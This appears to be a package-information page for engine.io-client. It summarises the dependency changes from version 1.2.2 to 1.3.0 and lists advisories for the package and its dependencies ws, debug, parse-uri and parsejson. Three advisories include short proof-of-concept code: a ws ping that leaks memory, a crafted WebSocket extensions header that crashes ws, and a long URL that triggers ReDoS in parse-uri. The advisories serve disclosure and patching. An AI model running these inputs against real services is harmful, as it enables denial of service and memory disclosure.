Engine.IO-client experienced a significant update moving from version 1.2.2 to 1.3.0. Both versions serve as clients for real-time Engine.IO communication, enabling developers to build interactive web applications. Key under-the-hood dependencies like 'ws' for WebSocket support, 'debug' for logging, and 'engine.io-parser' for message encoding remain consistent across both versions, ensuring core functionality is maintained. The most notable alteration lies within the dependency management. Version 1.3.0 replaces the direct URL dependency to emitter git repository with component-emitter, suggesting a shift towards a more standardized component-based architecture. Additionally, it incorporates component-inherit instead of inherits. This might point to an evolution in how the library handles inheritance patterns or a preference for component-based solutions.
Developers should note these changes, particularly if they relied heavily on specific implementations within the older 'emitter' dependency. Upgrading requires verifying that code interacting with emitter functionalities remains compatible with the new component-emitter and component-inherit. The versions share the same development dependencies, including tools like zuul and mocha for testing and browserify for bundling, indicating a consistent development workflow between releases. The update from 1.2.2 to 1.3.0 represents a step towards potentially better modularity and maintainability, leveraging established component libraries within the Engine.IO-client ecosystem.
All the vulnerabilities related to the version 1.3.0 of the package
Insecure Defaults Allow MITM Over TLS in engine.io-client
Affected versions of engine.io-client do not verify certificates by default, and as such may be vulnerable to Man-in-the-Middle attacks.
The vulnerability is related to the way that node.js handles the rejectUnauthorized setting. If the value is something that evaluates to false, such as undefined or null, certificate verification will be disabled.
Update to version 1.6.9 or later.
If you are unable to upgrade, ensure all calls to socket.io to have a rejectedUnauthorized: true flag.
Remote Memory Disclosure in ws
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
Update to version 1.0.1 or greater.
DoS due to excessively large websocket message in ws
Affected versions of ws do not appropriately limit the size of incoming websocket payloads, which may result in a denial of service condition when the node process crashes after receiving a large payload.
Update to version 1.1.1 or later.
Alternatively, set the maxpayload option for the ws server to a value smaller than 256MB.
Denial of Service in ws
Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.
const WebSocket = require('ws');
const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () {
const payload = 'constructor'; // or ',;constructor'
const request = [
'GET / HTTP/1.1',
'Connection: Upgrade',
'Sec-WebSocket-Key: test',
'Sec-WebSocket-Version: 8',
`Sec-WebSocket-Extensions: ${payload}`,
'Upgrade: websocket',
'\r\n'
].join('\r\n');
const socket = net.connect(3000, function () {
socket.resume();
socket.write(request);
});
});
Update to version 3.3.1 or later.
debug Inefficient Regular Expression Complexity vulnerability
A vulnerability classified as problematic has been found in debug-js debug up to 3.0.x. This affects the function useColors of the file src/node.js. The manipulation of the argument str leads to inefficient regular expression complexity. Upgrading to version 3.1.0 is able to address this issue. The name of the patch is c38a0166c266a679c8de012d4eaccec3f944e685. It is recommended to upgrade the affected component. The identifier VDB-217665 was assigned to this vulnerability. The patch has been backported to the 2.6.x branch in version 2.6.9.
Regular Expression Denial of Service in debug
Affected versions of debug are vulnerable to regular expression denial of service when untrusted user input is passed into the o formatter.
As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.
This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.
Version 2.x.x: Update to version 2.6.9 or later. Version 3.1.x: Update to version 3.1.0 or later. Version 3.2.x: Update to version 3.2.7 or later. Version 4.x.x: Update to version 4.3.1 or later.
parse-uri Regular expression Denial of Service (ReDoS)
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.
async function exploit() {
const parseuri = require("parse-uri");
// This input is designed to cause excessive backtracking in the regex
const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
const result = await parseuri(craftedInput);
}
await exploit();
Regular Expression Denial of Service in parsejson
Affected versions of parsejson are vulnerable to a regular expression denial of service when parsing untrusted user input.
The parsejson package has not been functionally updated since it was initially released.
Additionally, it provides functionality which is natively included in Node.js, and therefore the native JSON.parse() should be used, for both performance and security reasons.